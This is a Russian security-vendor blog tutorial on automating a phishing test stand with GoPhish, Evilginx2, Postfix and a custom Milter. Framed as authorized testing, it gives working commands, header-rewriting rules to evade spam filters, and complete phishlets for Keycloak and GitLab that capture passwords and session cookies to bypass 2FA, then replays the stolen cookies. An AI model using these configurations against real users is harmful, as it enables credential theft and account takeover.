Блог

Эволюция фишинг-стенда: автоматизация на Docker, кастомный Milter и бесшовный обход 2FA

Экспертные материалы

Эволюция фишинг-стенда: автоматизация на Docker, кастомный Milter и бесшовный обход 2FA

Если вы читали предыдущий цикл статей (часть 1, 2, 3) о настройке GoPhish, то прекрасно понимаете, сколько времени было потрачено на ручную конфигурацию каждого компонента. Часы внимательной настройки DNS, DKIM-подписей для Postfix, SSL-сертификатов и правил Iptables – это был настоящий марафон. Обратная связь от читателей только подтвердила наши догадки: многим приходилось перечитывать материал по несколько раз, выискивая пропущенный шаг или опечатку в конфигурационном файле. Полученный опыт заставил задаться вопросом: неужели нельзя сделать этот процесс проще?

Понимание пришло в процессе работы. Полностью погрузившись в каждый этап и ощутив на собственном примере весь дискомфорт от монотонной настройки удалось определить, что именно можно автоматизировать, где сэкономить время и как сделать процесс воспроизводимым. Результатом стал проект Phishing Stand – стенд, который разворачивается за 15 минут вместо многочасовой ручной работы.

Phishing Stand не просто набор скриптов, а целостное решение, объединяющее пять ключевых компонентов в единую экосистему: GoPhish для управления кампаниями, Evilginx2 для перехвата сессий, Postfix как средство доставки писем, Nginx в роли обратного прокси и новый герой – кастомный Milter для маскировки писем. Запуск и подготовку всех элементов к работе берет на себя Python-скрипт management.py: от установки зависимостей до генерации готовых DNS-записей.

Цель статьи – показать эволюцию подхода реализации фишинг-стенда и получения автоматизированного рабочего процесса. Подробно рассмотрим, как решаются две большие проблемы в социальных кампаниях: доставляемость и обход двухфакторной аутентификации. Разберем не только теорию, но и практический пример, доказывающий, что теперь фишинг-тестирование – это не рутинный труд специалиста, а быстрый и эффективный анализ уязвимостей человеческого фактора.

Phishing Stand не просто набор скриптов, а целостное решение, объединяющее пять ключевых компонентов в единую экосистему: GoPhish для управления кампаниями, Evilginx2 для перехвата сессий, Postfix как средство доставки писем, Nginx в роли обратного прокси и новый герой – кастомный Milter для маскировки писем. Запуск и подготовку всех элементов к работе берет на себя Python-скрипт management.py: от установки зависимостей до генерации готовых DNS-записей.

Цель статьи – показать эволюцию подхода реализации фишинг-стенда и получения автоматизированного рабочего процесса. Подробно рассмотрим, как решаются две большие проблемы в социальных кампаниях: доставляемость и обход двухфакторной аутентификации. Разберем не только теорию, но и практический пример, доказывающий, что теперь фишинг-тестирование – это не рутинный труд специалиста, а быстрый и эффективный анализ уязвимостей человеческого фактора.

От ручной сборки к промышленному подходу: автоматизация развертывания Phishing Stand

Как мы уже вспомнили, в начале пути приходилось сталкиваться с необходимостью вручную собирать каждый кирпичик нашей инфраструктуры. Фреймворк GoPhish требовал настройки базы данных и конфигурационного файла, Postfix нуждался в DKIM-ключах и точном задании инструкций в /ect/postfix/main.cf, а Nginx в правилах проксирования и SSL-сертификатах. Каждый шаг был источником возможных ошибок: забытая точка с запятой, неверно установленные права доступа или опечатка в DNS-записи. Плюс этот процесс оставался медленным, трудоемких и не масштабировался. Если нужно было развернуть ещё один такой же стенд на другом сервере, то приходилось повторять все шаги заново, но оказалось, что есть более удобный способ.

Результатом усилий Scan Factory стал проект Phishing Stand, который представляет собой полную автоматизацию всего процесса. Он использует Docker и Docker Compose для создания изолированной и воспроизводимой среды, а management.py выступает в роли центрального звена всей системы и берет на себя задачу не просто запустить контейнеры, а пройти по жизненному циклу развертывания. Давайте разберемся, как это работает.
Архитектура стенда выстроена вокруг Docker-сети mailer-net,что обеспечивает безопасное взаимодействие между сервисами без лишней необходимости открывать порты наружу. Внутри этой сети Nginx перенаправляет входящий трафик на GoPhish и Evilginx2, GoPhish отправляет почту через Postfix, который в свою очередь передает письма на фильтрацию в Milter. Из внешнего мира доступны только три порта: 22/TCP для SSH-доступа к VPS, а также 80/TCP и 443/TCP на Nginx для приема входящих HTTP/HTTPS запросов. Внутри Docker-сети сервер Postfix слушает стандартный порт 25/TCP для входящей почты, а Milter работает на порту 8892/TCP, модифицируя письма на лету перед их подписью и отправкой.

Административная панель фреймворка GoPhish (порт 3333/TCP) проброшена на 127.0.0.1 виртуального сервера и для подключения необходимо поднять SSH-туннель:

ssh -L 8000:127.0.0.1:3333 root@<IP_VPS>
После этого графический интерфейс GoPhish станет доступен в браузере по адресу https://localhost:8000.

Конфигурирование Evilginx2 происходит иначе – через прямое подключениек контейнеру. В терминале VPS необходимо выполнить команды:
docker exec –it evilginx2 sh
./evilginx –-developer –p phishlets/
Это открывает консоль управления Evilginx2, где можно активировать Phishlets, создавать Lures и отслеживать перехваченные сессии.
Процесс развертывания сводится к нескольким простым командам. После аренды VPS с Ubuntu 22.04 и установки Git, достаточно клонировать репозиторий и запустить скрипт инициализации:
apt update && apt install git -y
git clone https://github.com/EfraimDiveroli-Pwn3d/Phishing_Stand.git
cd Phishing_Stand
chmod +x management.py
sudo ./management.py --confirm
В процессе работы management.py выполняет несколько шагов. Вначале проверяет наличие и устанавливает недостающие системные зависимости, такие как Docker и Docker Compose. Затем он создаёт необходимую структуру директорий для томов, где будут храниться данные сервисов: SSL-сертификаты, DKIM-ключи, данные GoPhishи Evilginx2. После скрипт переходит к наиболее важному – конфигурации, последовательно запрашивает у пользователя используемые домены, email-адрес для регистрации сертификатов Let`sEncrypt и наименования Docker-контейнеров, обеспечивая корректное взаимодействие сервисов внутри Docker-сети:
- BASE_DOMAIN: базовый домен стенда (например, phishing.com);

- TRACK_DOMAIN: домен для трекинга кликов и захвата паролей с лендингов GoPhish (например, track.phishing.com);

- EVIL_DOMAIN: домен, по которому будут доступны фишинговые страницы Evilginx2 (например, phish.phishing.com);

- MX_DOMAIN: почтовый домен для Postfix (например, mail.phishing.com).
На основании полученной информации management.py генерирует docker-compose.ymlи переходит на шаг получения Wildcard SSL-сертификата от Let`s Encrypt и инициирует запуск Certbot непосредственно из Docker-контейнера. Утилита начинает проверку владения доменом через DNS-01 challenge и выводит на экран значения TXT-записей для _acme-challenge, которое необходимо добавить DNS-провайдеру или в настройках самого VPS. Certbot переходит в режим ожидания и не продолжит работу, пока вы не внесете изменения в DNS и не нажмете Enter в терминале. Здесь важно не торопиться – добавьте необходимые TXT-записи в панели управления доменом и убедитесь в их распространении с помощью команды:
dig TXT _acme-challenge.<ваш_домен> +short
Только после того, как вы увидите корректное значение в ответе DNS-сервера, возвращайтесь в терминал. Если проверка прошла успешна, Certbot сгенерирует SSL-сертификат и вернет управление management.py.

Наконец, после получения файлов от Let`s Encrypt, скрипт инициализации собирает Docker-образы и запускает контейнеры. Последним шагом он выводит на экран временные учётные данные для входа в GoPhish, а также DNS-записи, которые необходимо скопировать и добавить к своему домену.

Помимо описанного сценария management.py поддерживает гибкое управление жизненным циклом стенда через аргументы командной строки (полное описание режимов работы приведено в README.md). Если в какой-то момент произошла ошибка, нет необходимости начинать всё сначала – вы можете использовать опцию --from N, чтобы продолжить выполнение с конкретного шага. Например, когда не удалось сразу получить сертификаты и требуется ещё раз скорректировать _acme-challenge возможен запуск скрипта с этого места:
sudo ./management.py --from 4
Для того, чтобы просто пересобрать контейнеры без повторной установки зависимостей используйте --only 5. А если необходимо перенести инфраструктуру, вы можете последовательно экспортировать и импортировать данные в соответствующих режимах --export, --import. Первый создаёт архив phishing_stand_backup.tar.gz, содержащий данные работы сервисов: базу GoPhish, сессии Evilginx2, DKIM-ключи, SSL-сертификаты и журналы работы стенда. На новом сервере клонируете репозиторий и выполняете две команды, чтобы пропустить получение сертификатов и запустить контейнеры с восстановленными данными:
sudo ./management.py –import
sudo ./management.py  --skip 4 --from 5
Таким образом мы получаем полноценную платформу Phishing Stand для постоянной работы и проведения легитимных фишинговых кампаний.

Искусство маскировки: повышение доставляемости писем с помощью Milter и header_checks

Мы успешно развернули стенд для проведения легитимных фишинговых рассылок, зарегистрировали домен и подготовили DNS-записи. Теперь самое время отправить первое тестовое письмо: создаем кампанию в GoPhish, пишем убедительное сообщение и нажимаем кнопку «Запуск». Через некоторое время проверяем результат на сервисах вроде Mail-Tester или Unspam.Email и наблюдаем рейтинг доставляемости – 6.2 из 10. Почему так происходит, если были настроены SPF, DKIM и DMARC? Ответ кроется в метаданных письма, в его заголовках. Сегодня спам-фильтры используют сложные алгоритмы машинного обучения, способные распознавать малейшие отпечатки фишинга, а GoPhish, будучи популярным инструментом, имеет свои характерные особенности. Например, заголовок Message-ID может содержать название фреймворка или иметь странный числовой формат, а заголовок X-Mailer явно указывает на «GoPhish». Эти маркеры, даже при наличии корректной DKIM-подписи, могут быть достаточными для того, чтобы фильтр поставил письму пометку «Спам» или «Подозрительное».
Для повышения доставляемости писем потребуется более тонкий инструмент, чем просто настройка DNS-записей. Здесь на помощь приходит комбинация двух технологий Postfix: Milter и header_checks. Milter – это протокол, позволяющий внешним программам вмешиваться в процесс обработки почты прямо во время передачи по SMTP,до того, как письмо будет подписано или помещено в очередь на отправку. Header Checks – механизм Postfix, который применяет регулярные выражения к заголовкам письма для их изменения или удаления. В нашем случае мы используем их вместе в попытке создания почти невидимого для спам-фильтров сообщения.
Основную роль модификации SMTP-заголовков выполняет кастомный Milter, реализованный в виде скрипта milter.py на языке Python. В момент, когда GoPhish отправляет email-сообщение, Postfix передает ему исходное письмо для замены подозрительного Message-ID на совершенно новый, случайный UUID с указанием доверенного домена. Например, <<1669473734851541200@ubuntu>> превращается в <<a1b2c3d4-e5f6-7890-g1h2-3i4j5k6l78n@mail.domain.com>>. Описанные манипуляции необходимы потому, что Message-ID является обязательным заголовком и его отсутствие также вызывает подозрения у принимающей стороны.
После того, как Milter закончил свою работу, письмо передается обратно в Postfix, где включается дополнительный уровень фильтрации – header_checks, представляющий собой набор простых правил:
/^X-Mailer:.*gophish/i REPLACE X-Mailer: Mozilla Thunderbird 128.0
/^X-Gophish-/i         IGNORE
Первое находит заголовок, начинающийся с X-Mailer: и содержащее слово «gophish» (регистронезависимо), и заменяет его на значение распространённого почтового клиента. Второе удаляет из письма всё, что включает подстроку X-Gophish-. Таким образом, убираются последние отпечатки фишингово фреймворка.
Рисунок 5. Заголовки почтового письма после применения Milter и header-checks

Перехват сессий: применение Evilginx2 для обхода 2FA

Современная ИТ-инфраструктура всё чаще защищена многофакторной аутентификацией (MFA/2FA) и это означает, что традиционные подход GoPhish с захватом данных через фишинговые лендинги постепенно теряют свою эффективность.

Да, мы по-прежнему можем получить логин и пароль сотрудника, но без второго фактора эти данные бесполезны, если говорим о компрометации учётной записи. В результате кампания показывает хорошие метрики по «собранным данным», но не отражает реальных рисков безопасности. Для повышения результативности фишинг-тестирования и моделирования актуальных угроз необходимо переходить к более продвинутым техникам – перехвату активных сессий.

Evilginx2 представляет собой прозрачный MITM-прокси. Он создаёт собственное соединение с настоящим сайтом, передаёт ему запрос жертвы, а ответ сервера пересылает обратно. В результате атакуемый ничего не подозревает и думает, что общается напрямую с сервисом. Однако вся информация в рамках сессии проходит через экземпляр Evilginx2, что позволят решить одновременно две проблемы.

Во-первых, повышение убедительности имитируемой атаки. Поскольку пользователь видит реальный сайт, а не его клон, вероятность того, что он заметит подвох, заметно снижается. Во-вторых, и это самое ценное, бесшовный обход 2FA, где процесс выглядит примерно так:

1. Атакуемый вводит логин и пароль на странице, которую показывает Evilginx2.

2. Прозрачный прокси пересылает полученную пару на целевой сайт.

3. Сервис проверяет их и требует второй фактор аутентификации.

4. Пользователь вводит дополнительную информацию и подтверждает вход.

5. Evilginx2 пересылает второй фактор на настоящий сайт, тот удостоверяется в его валидности и возвращает сессионные Cookie.

В конечном итоге атакуемый пользователь успешно авторизуется и попадает в свой личный кабинет, продолжая штатную работу и не подозревая о том, что его сессия скомпрометирована. Одновременно с этим перехваченные сессионные Cookie фиксируются в консоли Evilginx2 и могут быть экспортированы, что позволяет пентестеру получить доступ к учетной записи пользователя, минуя запросы на многофакторную аутентификацию, для оценки масштаба потенциальной угрозы.
Не вдаваясь в подробности технической реализации фреймворка, для взаимодействия с Evilginx2 нам достаточно разобрать три его ключевые концепции: Phishlets, Lures и Sessions. Всем процессом управляют фишлеты, которые можно представить, как подробную инструкцию для прокси-сервера. В сущности, это конфигурационные файлы в формате YAML, указывающие Evilginx2 какие именно домены целевого сервиса нужно проксировать, какие сессионные Cookie считать критичными и по каким признакам в HTTP-трафике распознать момент успешной аутентификации. Кроме того, в Phishletпрописываются правила модификации HTML-контента на лету, чтобы скрыть от пользователя факт подмены и обеспечить корректную работу сайта.

Как только «правила игры» заданы и Phishlet активирован, необходимо сгенерировать приманку (Lure) – уникальную фишинговую ссылку, сформированную на основе настроенного фишлета. Полученный URL в последствии помещается в тело письма и отправляется пользователю через интерфейс GoPhish. Для получателя это выглядит как легитимная ссылка на корпоративный портал, но на самом деле это точка входа в наш MITM-туннель.

Финальной частью становится Session, когда атакуемый пользователь проходит все этапы аутентификации, а Evilginx2 фиксирует успешную авторизацию. Далее он извлекает из ответа сервера сессионные Cookie и сохраняет их в своём журнале, а в консоли фреймворка пентестер видит список всех перехваченных сессий в реальном времени. Экспортировав скомпрометированные ключи в свой браузер, мы получаем доступ к системе от имени жертвы, полностью минуя любые повторные запросы на ввод пароля или дополнительных факторов аутентификации.

На практике: создание Phishlet для Keycloak и GitLab

Изучение теории безусловно полезно, но настоящее мастерство заключается в её практическом применении. Как мы поняли, чтобы Evilginx2 мог эффективно работать с конкретным сервисом необходимо создать для него отдельный Phishlet.
Это своего рода археология или реверс инженерия, кому как угодно: вы должны изучить реальный сайт, понять, как он работает, и составить инструкцию для Evilginx2. Давайте пройдемся по этому пути на примере двух популярных систем: Keycloak и GitLab.
Шаг 1. Анализ целевого сервиса

Прежде чем конфигурировать Phishlet, нужно понаблюдать за реальным процессом аутентификации и для этого подойдут различные инструменты, например, DevTools в браузере или Burp Suite. В конечном итоге мы должны ответить на несколько ключевых вопросов:

1. Какие домены использует сервис для входа?

2. Какие Cookie создаются после успешной аутентификации?

3. Как система определяет, что аутентификация прошла успешно?

4. Как выглядит форма входа и куда отправляет данные?

5. Есть ли особенности, которые могут помешать работе прокси?

Пример 1. Анализ Keycloak
Начнём с системы Keycloak. В качестве целевого ресурса выступит https://auth.gophish.fun с доменом из предыдущего цикла статей. При обращении по указанному адресу нас встречает стандартная веб-форма аутентификации.
Вводим тестовые данные и перехватываем трафик через Burp Suite. Нас интересует POST-запрос с логином и паролем. Обратите также внимание на кодировку данных – x-www-form-urlencoded, а также передаваемые параметры: username и password. Это важная информация, которую мы позже укажем в Phishlet.
В нашем примере весь процесс аутентификации происходит в рамках одного процесса. Однако на практике нам встречались случаи, где одновременно приходилось проксировать до 5-6 различных доменов, что значительно усложняло конфигурацию.

Следующий этап – двухфакторная аутентификация через OTP-код. Keycloak запрашивает его из приложения-аутентификатора.
Передаем актуальное значение из Google Authenticator и снова обращаемся к трафику. Фиксируем очередной POST-запрос и в ответе сервера видим сессионные Cookie, которые нам предстоит перехватить: KEYCLOAK_IDENTITY, KEYCLOAK_IDENTITY_LEGACY, KEYCLOAK_SESSION, KEYCLOAK_SESSION_LEGACY.
Эти четыре Cookie – наш главный трофей. Именно их наличие говорит о успешной аутентификации пользователя, и именно их Evilginx2 должен перехватить и сохранить.

Пример 2. Анализ GitLab

Для GitLab сценарий во многом аналогичен, но есть свои особенности. Целевой домен – gitlab.gophish.fun. Как и в предыдущем случае, весь процесс укладывается в рамки одного адреса.
Отправляем на сервер аутентификационные данные и перехватываем соответствующий POST-запрос. Кодировка всё та же – x-www-form-urlencoded, но имена параметров отличаются от Keycloak: user[login], user[password]. GitLab ожидает вложенную структуру данных (квадратные скобки) – это важно учесть при создании триггера в Phishlet.
Далее GitLab запрашивает код двухфакторной аутентификации. Завершаем процедуру аутентификации передачей OTP-токена POST-параметром
Анализируем ответ сервера и в заголовках Set-Cookie находим интересующие нас сессионные Cookie: _gitlab_session, known_sign_in.
Шаг 2. Создание и настройка Phishlet

После того как мы провели разведку и собрали всю необходимую информацию о целевом сервисе, настало время переложить эти знания на язык, понятный Evilginx2. Для этого потребуется создать Phishlet – YAML-конфигурационный файл, который будет служить инструкцией для фреймворка.

Базовая структура Phishlet
Прежде чем переходить к конкретным примерам, давайте разберёмся с общей схемой построения конфигурации. Несмотря на кажущуюся сложность файл состоит из логических блоков, каждый из которых отвечает за свой аспект работы MITM-прокси:

1. proxy_hosts – определяет, какие поддомены будут проксироваться.

Параметр session: true указывает на необходимость отслеживать сессии,

а is_landing: true делает этот хост точкой входа для фишинговой атаки.

2. sub_filters – правила поиска и модификации контента на лету с поддержкой регулярных выражений. Здесь происходит замена всех ссылок с оригинального домена на фишинговый, чтобы корректно воспроизвести процесс аутентификации.

3. auth_tokens – список Cookie, которые Evilginx2 должен перехватить и сохранить.

4. credentials – параметры форм аутентификации, содержащие логин и пароль.

5. auth_urls – перечень URL-адресов, появление которых в трафике свидетельствует об успешной аутентификации пользователя.

6. login – определяет страницу входа для фишинговой кампании. Указывается URL, отображаемый пользователю при переходе по фишинговой ссылке.

Пример 1. Phishlet для Keycloak
Вспомним, что удалось выяснить при анализе Keycloak:

- домен: auth.gophish.fun;

- параметры входа: username и password;

- сессионные Cookie: KEYCLOAK_IDENTITY, KEYCLOAK_IDENTITY_LEGACY, KEYCLOAK_SESSION, KEYCLOAK_SESSION_LEGACY;

- Страница входа: /admin/master/console/;

- URL успешной аутентификации: /admin/serverinfo.

На основе этих данных формируем файл Keycloak.yaml:
1.	author: '@ScanFactory_team'
2.	min_ver: '3.0.0'
3.	
4.	proxy_hosts:
5.	  - {phish_sub: 'auth', orig_sub: 'auth',
6.	     domain: 'gophish.fun', session: true, is_landing: true}
7.	
8.	sub_filters:
9.	  - {triggers_on: 'auth.gophish.fun', orig_sub: 'auth',
10.	   domain: 'gophish.fun', search: 'https://{hostname}',
11.	   replace: 'https://{hostname}',
12.	   mimes: ['text/html', 'text/javascript',
13.	           'application/json', 'application/javascript',
14.	           'application/x-javascript']}
15.	
16.	auth_tokens:
17.	  domain: 'auth.gophish.fun'
18.	  keys: ['AUTH_SESSION_ID', 'AUTH_SESSION_ID_LEGACY',
19.	         'KEYCLOAK_IDENTITY', 'KEYCLOAK_IDENTITY_LEGACY',
20.	         'KEYCLOAK_SESSION', 'KEYCLOAK_SESSION_LEGACY']
21.	  type: 'cookie'
22.	
23.	credentials:
24.	  username:
25.	    key: 'username'
26.	    search: '(.*)'
27.	    type: 'post'
28.	  password:
29.	    key: 'password'
30.	    search: '(.*)'
31.	    type: 'post'

33.	auth_urls:
34.	  '/admin/serverinfo'
35.	
36.	login:
37.	  domain: 'auth.gophish.fun'
38.	  path: '/admin/master/console/'
В блоке proxy_hosts задаем соответствие поддоменов: параметр phish_sub: 'auth'указывает на фишинговый домен auth.factory-scan.ru, а orig_sub: 'auth' — на оригинальный поддомен целевой системы. Чтобы обеспечить бесшовную работу прокси, в секции sub_filters настраиваем подмену ссылок, добавляя в список mimes не только HTML, но и JavaScript с JSON для корректной обработки динамического контента. За перехват самих учетных данных отвечает блок credentials, где параметры key: 'username' и key: 'password' в точности повторяют имена полей формы, зафиксированные ранее при анализе POST-запросов в Burp Suite. И, наконец, в разделе auth_tokens перечислены Cookie, которые сервер возвращает после успешной аутентификации; при этом мы намеренно включили не только основные токены, но и их LEGACY-версии, что существенно повышает надежность перехвата и удержания сессии.
Пример 2: Phishlet для GitLab
На этапе изучения Gitlab были получены следующие данные:

- Домен: gitlab.gophish.fun;

- Параметры формы: user[login] и user[password];

- OTP-параметр: user[otp_attempt];

- Сессионные Cookie: _gitlab_session и known_sign_in;

- Страница входа: /users/sign_in;

- URL успешной аутентификации: /dashboard/projects и корень сайта /.
Создаём файл GitLab.yaml:
1.	author: '@ScanFactory_team'
2.	min_ver: '3.0.0'
3.	
4.	proxy_hosts: 
5.	  - {phish_sub: 'gitlab', orig_sub: 'gitlab',
6.	     domain: 'gophish.fun', session: true, is_landing: true}
7.	
8.	sub_filters: 
9.	  - {triggers_on: 'gitlab.gophish.fun', orig_sub: 'gitlab',
10.	   domain: 'gophish.fun', search: 'https://{hostname}',
11.	   replace: 'https://{hostname}', 
12.	   mimes: ['text/html', 'text/javascript',
13.	           'application/json', 'application/javascript',
14.	           'application/x-javascript']}
15.	
16.	auth_tokens:
17.	  domain: 'gitlab.gophish.fun'
18.	  keys: ['known_sign_in', '_gitlab_session']
19.	  type: 'cookie'
20.	
21.	credentials:
22.	  username:
23.	    key: 'user[login]'
24.	    search: '(.*)'
25.	    type: 'post'
26.	  password:
27.	    key: 'user[password]'
28.	    search: '(.*)'
29.	    type: 'post'
30.	
31.	auth_urls:
32.	  '/dashboard/projects'
33.	  '/'
34.	
35.	login:
36.	  domain: 'gitlab.gophish.fun'
37.	  path: '/users/sign_in'
Конфигурация GitLab имеет несколько важных особенностей. В блоке credentialsиспользуется вложенная структура параметров — user[login] и user[password]. Важно указать их в точности так, как зафиксировано в сетевом трафике, иначе Evilginx2 не сможет перехватить учетные данные. При этом настройка перехвата сессий (auth_tokens) оказывается предельно лаконичной: GitLab использует всего две Cookie, где known_sign_in отвечает за функцию «Запомнить меня», а _gitlab_session — за основную сессию пользователя. Наконец, для максимально надежного детектирования успешной аутентификации в auth_urls перечисляется сразу два триггера: /dashboard/projects (страница проектов после входа) и корневой путь, что существенно повышает точность определения момента завершения входа.

Завершая разговор о создании конфигураций, стоит подчеркнуть несколько нюансов, способных уберечь вас от досадных ошибок. Прежде всего, педантично соблюдайте точность соответствия: все имена параметров, Cookie и URL должны в точности повторять те, что фигурировали в трафике, ведь даже единственная опечатка или неверный регистр символов приведет к неработоспособности всего Phishlet. Не менее важна и полнота перехвата сессионных данных — включайте в auth_tokensабсолютно все Cookie, появляющиеся после успешной аутентификации, поскольку надежнее захватить заведомо лишнее, чем упустить критический маркер сессии. Чтобы прокси бесшовно подменял контент, не забывайте в секции sub_filters указывать MIME-типы, способные содержать ссылки на оригинальный домен. И, наконец, действует негласное золотое правило: перед запуском реальной фишинговой кампании обязательно тестируйте готовый Phishlet на выделенном аккаунте, что позволит обнаружить и устранить любые неточности конфигурации до того, как они повлияют на итоги оценки безопасности.
Шаг 3. Запуск Evilginx2

Теперь пришло время запустить сам фреймворк и провести его первичную настройку. Копируем готовые YAML-файлы в директорию evilginx2/phishlets/. Далее подключаемся к интерактивной консоли контейнера Evilginx2:
1. docker exec –it evilginx2 sh
Внутри контейнера выполняем последовательность команд для инициализации и конфигурирования:
1.	# Запускаем фреймворк в режиме разработчика, 
2.	# указывая путь к директории с фишлетами
3.	./evilginx -developer -p phishlets/
4.	
5.	# Задаем базовый домен, на котором будет развернут
6.	# фишинговый стенд
7.	config domain factory-scan.ru
8.	
9.	# Разрешаем прослушивание всех доступных сетевых интерфейсов
10.	config ipv4 0.0.0.0
11.	
12.	# Привязываем созданный ранее 
13.	# фишлет для Keycloak к фишинговому домену 
14.	phishlets hostname keycloak factory-scan.ru
15.	
16.	# Активируем фишлет, делая его доступным 
17.	# для генерации ссылок
18.	phishlets enable keycloak
19.	
20.	# Создаем уникальную фишинговую ссылку (lure)
21.	lures create keycloak
22.	
23.	# Выводим в консоль сгенерированный URL 
24.	# (индекс 0 соответствует только что созданной ссылке)
25.	lures get-url 0
26.	
27.	# Завершаем работу в консоли контейнера
28.	Exit
Полученную приманку (результат работы команды lures get-url <ID>) помещаем в шаблон письма, который будет отправлен через GoPhish. Когда целевой пользователь переходит по ней, он попадает на прокси-сервер, вводит свои учетные данные и проходит проверку 2FA. В этот момент Evilginx2 прозрачно передает данные реальному сервису, перехватывает и сохраняет сгенерированные сессионные Cookie, предоставляя тем самым полный доступ к аккаунту. При этом пользователь благополучно проксируется на настоящий сайт, не подозревая о подмене.

Имитация комплексной атаки на инфраструктуру: от фишингово домена до компрометации системы

Теперь, когда все инструменты в сборе, давайте закрепим полученные знания и проведём комплексную имитацию атаки на условную компанию «GophishFun».
В качестве хостинг-провайдера для VPS выберем RUVDS, а регистратором доменного имени станет – NIC.RU. Как вы уже догадались, целевыми сервисами будут экземпляры Keycloak и GitLab (URL-адреса: https://auth.gophish.fun, https://gitlab.gophish.fun, соответственно).
Шаг 1. Подготовка фишингового домена

Первым шагом всегда является регистрация домена, который будет максимально похож на целевой. Это по прежнему простой, но эффективный приём, который сбивает с толку людей, привыкших к опечаткам в адресах и остающихся не всегда внимательными к мелочам. В рамках эксперимента мы отступим от этого правила и приобретем factory-scan.ru, чем-то напоминающий адрес официального сайта ScanFactory. После регистрации домена необходимо связать его c NS-серверами хостинг-провайдера.
Шаг 2. Развёртывание стенда и настройка DNS

Распространение DNS-записей занимает определённое время. По этой причине, сразу после регистрации домена, рекомендуем указать PTR-запись для VPS в личном кабинете RUVDS. После этого, по отработанному сценарию, клонируем репозиторий, с помощью management.py разворачиваем стенд и вводим доменные имена, соответствующие проводимой фишинговой кампании (наименования для контейнеров можно оставить по-умолчанию):
- BASE_DOMAIN: factory-scan.ru;

- TRACK_DOMAIN: tr.factory-scan.ru;

- EVIL_DOMAIN: ph.factory-scan.ru;

- MX_DOMAIN: factory-scan.ru.
Cрипт завершает свою работу и выводит таблицу с необходимыми DNS-записями для переноса их в панель управления подложного домена.
Рисунок 17. DNS-записи домена factory-scan.ru в личном кабинете RUVDS
Шаг 3. Конфигурирование Evilginx2

Следующим шагом после запуска стенда перенесём подготовленные Phishlets в одноимённый каталог evilginx2/phishlets проекта и выполним конфигурирование фреймворка для получения URL-адресов приманок. В консоли Evilginx2 укажем фишлетам подготовленные домены, активируем их и создадим lures для каждого сервиса (Keycloak и GitLab).
Рисунок 18. Конфигурирование Evilginx2 после инициализации стенда и получение URL-адресов приманок
Шаг 4. Создание и запуск кампании в GoPhish

Чтобы получить доступ к веб-консоли GoPhish пробрасываем любой свободный порт хостовой машины до локального 3333/TCP на VPS и далее в браузере обращаемся к https://127.0.0.1:8443. Аутентификационные данные для входа management.pyотобразил в консоли после запуска всех сервисов и сохранил в лог-файле application.logпроекта.
Во вкладке «Sending Profiles» добавляем нового отправителя и в качестве хоста указываем наименование контейнера Postfix, которое задавалось на шаге 2 (по-умолчанию – mailer).
Создаем Email-шаблон и вставляем в тело письма приманки Evilginx2 (тема тонкостей подготовки почтовых сообщений подробно раскрыта в блоге на официальном сайте ScanFactory). Финальным шагом является запуск кампании и отправка полезной нагрузки пользователю.
Шаг 5. Мониторинг, перехват и компрометация личного кабинета
После старта кампании наблюдаем в папке «Входящие» тестового почтового ящика фишинговое письмо. Переходим по предложенным ссылкам и авторизуемся в сервисах Keycloak и GitLab. Обратим внимание, что всё взаимодействие пользователя с веб-ресурсами происходит в рамках домена factory-scan.ru.
Рисунок 22. Фишинговое письмо в папке «Входящие» тестового почтового ящика
Рисунок 23. Аутентификация в сервисе GitLab после перехода по фишинговой ссылке
Перехваченные сессионные Cookie доступны в интерфейсе Evilginx2. Для их просмотра достаточно ввести команду:
1.	sessions
2.	sessions <ID>
Осталось убедиться в валидности полученных данных. Копируем JSON-содержимое из консоли Evilginx2 и с помощью любого расширения импортируем Cookie в браузер. Далее обращаемся к сервисам по целевым URL и попадаем в личные кабинеты скомпрометированных учётных записей.

Заключение

Переход от кропотливой ручной настройки к автоматизированному стенду кардинально меняет подход к моделированию фишинговых атак. Реализованный проект Phishing Stand превращает сложный процесс развертывания инфраструктуры в быструю, удобную и полностью воспроизводимую процедуру. Интеграция кастомного Milter для обхода спам-фильтров и фреймворка Evilginx2 для бесшовного перехвата сессий позволяет не просто фиксировать факты кликов, а проводить глубокую и реалистичную оценку уязвимостей корпоративной среды. Именно такая надежность и гибкость делают этот инструмент идеальной основой для постоянного обучения персонала и регулярной оценки киберрисков, превращая разовые проверки в системную практику повышения безопасности организации. Помните, что все описанные методы и инструменты предназначены исключительно для легитимного тестирования безопасности с письменного разрешения владельца системы. Несанкционированное их использование является уголовным преступлением.